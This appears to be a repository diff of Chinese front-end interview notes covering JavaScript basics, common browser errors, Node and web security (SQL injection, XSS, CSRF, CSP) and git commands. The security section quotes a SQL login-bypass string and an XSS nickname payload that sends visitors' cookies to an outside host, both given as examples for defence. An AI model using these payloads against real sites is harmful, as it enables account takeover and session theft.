![image.png](https://cdn.nlark.com/yuque/0/2021/png/195884/1614671081418-6763bc83-d880-4fd8-bc4a-9a0fd7c9b37a.png#height=266&id=wUqbd&margin=%5Bobject%20Object%5D&name=image.png&originHeight=531&originWidth=744&originalType=binary&ratio=1&size=52754&status=done&style=none&width=372)
### ===== 有什么区别
== 对比类型不一样会进行类型转换,而 === 不会,下图为 == 的判断步骤:
![image.png](https://cdn.nlark.com/yuque/0/2021/png/195884/1614671598823-453786ce-91c2-49b5-b163-54a48d04cba3.png#height=213&id=M1Zdy&margin=%5Bobject%20Object%5D&name=image.png&originHeight=426&originWidth=1005&originalType=binary&ratio=1&size=139062&status=done&style=none&width=502.5)
### 什么是闭包?
定义:函数 A 中有一个函数 B函数 B 可以访问 A 的变量,那么函数 B 就是闭包。
#### 循环中使用闭包解决 `var` 定义函数的问题
```javascript
方法1
for (var i = 1; i <= 5; i++) {
;(function(j) {
setTimeout(function timer() {
console.log(j)
}, j * 1000)
})(i)
}
方法2使用 setTimeout 的第二个参数
for (var i = 1; i <= 5; i++) {
setTimeout(
function timer(j) {
console.log(j)
},
i * 1000,
i
)
}
方法3使用 let
```
### 如何理解原型?如何理解原型链?
1. 每一个对象都有__proto__这是浏览器早期为了让我们能访问 prototype。
1. _ _proto__ 的 constructor构造函数里面有 prototype。
1. _ _proto__ 下面有几个方法hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
1. 原型的 `constructor` 属性指向构造函数,构造函数又通过 `prototype` 属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()` 就没有这个属性。
![image.png](https://cdn.nlark.com/yuque/0/2021/png/195884/1614672195095-a2925383-5cea-4442-ab8f-9da417245a88.png#height=202&id=YndLA&margin=%5Bobject%20Object%5D&name=image.png&originHeight=404&originWidth=581&originalType=binary&ratio=1&size=130211&status=done&style=none&width=290.5)
## 十大错误
### 1. Uncaught TypeError: Cannot read property
发生这种情况的原因很多,但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。
### 2. TypeError: undefined is not an object
这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同,但 Safari 使用了不同的错误消息提示语。
### 3. TypeError: null is not an object
这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。
> 在 JavaScript 中null 和 undefined 是不一样的这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量,而 null 表示该值为空。 要验证它们不相等,请尝试使用严格的相等运算符 ===
### 4. (unknown): Script error
当未捕获的 JavaScript 错误通过window.onerror处理程序引发的错误而不是捕获在try-catch中被浏览器的跨域策略限制时会产生这类的脚本错误。这是一种浏览器安全措施旨在防止跨域传递数据否则将不允许进行通信。
### 5. TypeError: Object doesnt support property
这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。
### 6. TypeError: undefined is not a function
当您调用未定义的函数时,这是 Chrome 中产生的错误。
### 7. Uncaught RangeError: Maximum call stack
这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。
### 8. TypeError: Cannot read property length
这是 Chrome 中发生的错误,因为读取未定义变量的长度属性。
### 9. Uncaught TypeError: Cannot set property
当我们尝试访问一个未定义的变量时,它总是返回 undefined我们不能获取或设置任何未定义的属性。 在这种情况下,应用程序将抛出 “Uncaught TypeError: Cannot set property”。
### 10. ReferenceError: event is not defined
当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。

View File

@ -0,0 +1,121 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 性能
## 1. 不要用 Eval
eval 的作用是将用户输入的字符串转化为可执行的代码,类似欺骗的效果,这样的坏处是会受到 XSS 攻击。
## 2. 使用 strict 模式
严格模式下的变量声明会抛出一些隐藏的错误。
```javascript
'use strict'
var obj = {
a: '1',
a: '2'
}
// 抛出错误 syntax error
```
## 3. 使用 Eslint 测试代码规范
可以使我们早期捕获一些 bug并及时修正。
## 4. 全面测试
测试很重要,不但单元要测试,还要全面测试,例如用 mocha 测试代码覆盖率。
## 5. Unix 下不要直接使用 sudo node app.js
这样如果产生错误,会让整个系统宕机,可以使用 nginx 反向代理。
## 6. 避免 shell command 注入
```-t
child_process.exec('ls', function (err, data) {
console.log(data);
});
```
上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。
> 为了避免这个问题我们可以使用child_process.execFile。
## 7. 临时文件
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
> 使用 Streams。
## 8. 加密 Web 应用
用 https 代替 http请求的过程可以添加签名头。
## 9. Reflected Cross Site Scripting
也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM这可能会出现安全问题例如
```javascript
//用户输入的数据中带脚本,如果不做处理,会被执行。
Im human <script>alert('Im hacker')<script>
```
> 处理方式1. 对插入的数据进行验证,除去 HTML。
## 10. 看好你的 cookie
默认情况下cookie 可以通过 js 在同一个域中读取,这就有可能会被跨站点脚本攻击,而且可能被第三方库读取。为了处理这种情况,我们可以在 cookies 上使用 HTTPOnly这个标签可以让 js 无法读取。
## 11. 内容安全策略CSP
附加的安全层可以检测和缓解某类攻击例如XSS、数据注入。启用方法如下
```-t
Content-Security-Policy: default-src 'self' *.mydomain.com
```
## 12. Cross-Site Request Forgery
跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现,可以使用同步令牌模式处理。

202
docs/interview/safe.md Normal file
View File

@ -0,0 +1,202 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 安全
1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法)
1. 将需要提交的数据经过 filter 即可,如下:
```javascript
浏览器自带转换为字符串
var newValue = safetools.encode(value)
正则加密(可能有兼容)
var newValue = safetools.reEncode(value)
正则解密(可能有兼容)
var newValue = safetools.reDecode(value)
```
> tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
## 常见的攻击手段
### 1. SQL 脚本注入攻击于与防御
#### 概念
> 用户可以提交一段数据库查询代码根据程序返回的结果获得某些他想得知的数据这就是所谓的SQL Injection即SQL注入.
#### 场景
语句
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果恶意填入:
> userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
既可实现无密码登录,美滋滋吧...
#### 处理方式
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
### 2. XSS 攻击与防御
#### 概念
> 跨站脚本Cross-site scripting通常简称为XSS是一种网站应用程序的安全漏洞攻击是代码注入的一种。它允许恶意用户将代码注入到网页上其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
> XSS攻击通常指的是通过利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript但实际上也可以包括JavaVBScriptActiveXFlash或者甚至是普通的HTML。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和cookie等各种内容。
#### 类型
##### 简单分类
1. 反射型xss
通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索
2. 储存型xss
通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论
##### 复杂分类
1. client 型
1. server 型
#### 处理方式
- 编码
> 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
- 过滤
> 有的语句并不完全依赖<>标签例如src="javascript:alert(1);"
- 校正
> 这个照理来说应该后端处理,目前没碰到这种场景
```javascript
> 一个直播平台,用户可以进入观看,主播可以设置自己的昵称:
var starNickName = '${starNickname}'
```
这怕是要翻水水了...假设是我是主播,我把昵称设置为:
```javascript
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
```
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
- CSP
```html
在头部加入:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
```
meta不信任任何URL即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
> 注意该属性目前比较新hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
### 3. CSRF
> 跨站请求伪造英语Cross-site request forgery也被称为 one-click attack 或者 session riding通常缩写为 CSRF 或者 XSRF 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本XSS相比XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。简单地说是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞简单的身份验证只能保证请求发自某个用户的浏览器却不能保证请求本身是用户自愿发出的。
#### 处理方式
- 验证码
在请求的同时带个token,或者验证码
- Referer Check
这个可以伪造...但加入更保险
> 注意如果网站有XSS漏洞或者一些跨域漏洞可能导致Token泄露。 在XSS攻击下读取Token值然后再构造出一个合法的请求可以称为XSRF。
### 小结
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。

295
docs/tools/git.md Normal file
View File

@ -0,0 +1,295 @@
---
nav:
title: 工具
path: /tools
group:
title: 💊 git
order: 1
---
# 💊 git
## 1. 提交格式管理
模板格式:
```json
<type>(<scope>): <subject>
<BLANK LINE>
<body>
<BLANK LINE>
<footer>
```
>
> 例子:
```
feat(changelog): 新增了一个按钮组件
详细描述新增的内容...
[不兼容变更: 影响内容的所有情况...]
[close #43f32]
[revert: feat(pencil): add 'graphiteWidth' option
This reverts commit 667ecc1654a317a13331b17617d973392f415f02.]
```
### 1.1 type
指此次上传的类型。
- **build**:影响构建系统或外部依赖的改变
- **ci**改变CI配置文件和脚本
- **docs**:只改变文档
- **feat**:一个新功能
- **fix**一个bug fix
- **perf**:代码更改,提高了性能
- **refactor**:代码重构
- **style**:不影响代码含义,只是代码风格的改变
- **test**:添加缺失的测试或修正现有的测试
- **wip**:移除文件或者代码
### 1.2 scope
指被影响的内容,这样能方便阅读根据提交信息生成的更新日志。
### 1.3 subject
是这次提交的一次简短描述,一行不超过 100 个字符。
> 尽量包含主谓宾结构,不要单词。
### 1.4 body
对本次提交详细的描述,一般一行不超过 100 个字符。
### 1.5 footer
分为以下两种情况:
- **不兼容变动**:如果当前代码与上一个版本不兼容,则 Footer 部分以BREAKING CHANGE开头后面是对变动的描述、以及变动理由和迁移方法。
- **关闭 Issue**:如果当前 commit 针对某个issue那么可以在 Footer 部分关闭这个 issue 。
### 1.6 revert
还有一种特殊情况,如果当前 commit 用于撤销以前的 commit则必须以revert:开头,后面跟着被撤销 Commit 的 Header。
## 2. 版本管理规范
### 2.1格式
> <主版本号>.<次版本号>.<修订版本号>.[日期]-<版本修饰词>
主版本号:一次平台大改动,接近重构。
次版本号:一次新功能发版。
修订版本号一次bug修复版本。
eg1.2.3.190101-beta 表示发布了 1 次大版本,新增了 2 次功能,修复了 3 次 bug该版本发布时间为 20190101目前为测试阶段。
### 2.2 版本修饰词参考
- alpha内部版本
- beta测试版
- demo演示版
- enhance增强版
- free自由版
- lts长期维护版本
- release发行版
- rc即将作为正式版发布
- standard标准版
- ultimate旗舰版
- upgrade升级版
## git 命令
### 设置Git的信息(如果是第一次的话)
> git config --global user.name "名字"
> git config --global user.email "邮箱"
### 生成密匙(很重要)
这是你连接的必要部分就相当于账号的登录密码有这个你才能对GitHub上的项目进行操作
> ssh-keygen -t rsa -C "[710328466@qq.com](mailto:710328466@qq.com)"
### 配置密匙
- 将获取的密钥放到GitHub->setting下的SSH and GPG keys里面
### 新建项目
- 进入首页新建一个repository
- 填写相应信息
Repository name: 仓库名称
```
Description(可选): 仓库描述介绍
Public, Private : 仓库权限(公开共享,私有或指定合作者)
Initialize this repository with a README: 添加一个README.md
gitignore: 不需要进行版本管理的仓库类型,对应生成文件.gitignore
license: 证书类型对应生成文件LICENSE
```
### 下载 git bash
- 下载地址去百度好吗?
### 将 gitHub 上的仓库克隆到本地
```javascript
* git clone (https://github.com/nicecoders/yourItem.git)nicecoders/yourBlog.git替换成你博客的地址
```
> 这个步骤以后你的本地项目文件夹下面就会多出个文件夹该文件夹名即为你github上面的项目名如图我多出了个yourItem文件夹我们把本地项目文件夹下的所有文件除了新多出的那个文件夹不用其余都复制到那个新多出的文件夹下
### cd Test 打开Test文件夹
```javascript
git add . (添加所有文件)
git add readme.md
git commit -m "信息"
* git push -u origin master 将本地文件上传到git仓库
```
> 如果push -u....报错你就改成git pull --rebase origin master,重新push就可以了
## git 基本操作
### touch 文件名
添加到缓存
### git status
> 查看该项目改变的文件
- git status
### git diff
> 默认是暂未缓存的改动,这个可以查自己目前版本和上一个版本的改动位置
#### git diff --cached
> 查看已缓存的改动
#### git diff HEAD
> 查看已缓存与未缓存的所有改动
#### git diff --stat
> 显示摘要而非整个diff
### git rm
> 将条目从缓存区中移除
### git mv
> 用于移动或重命名一个文件,目录
```javascript
git add README
git mv README README.md
ls
```
## git 分支管理
### git branch
- 查看当前分支
> 后面加单词,即是创建分支: git branch day1
### 删除分支
> git branch -d testing
### git checkout ‘分支名’
> 切换分支
### git checkout -b newtest
> 创建新分支并切换到该分支下
### git merge 分支
> 合并分支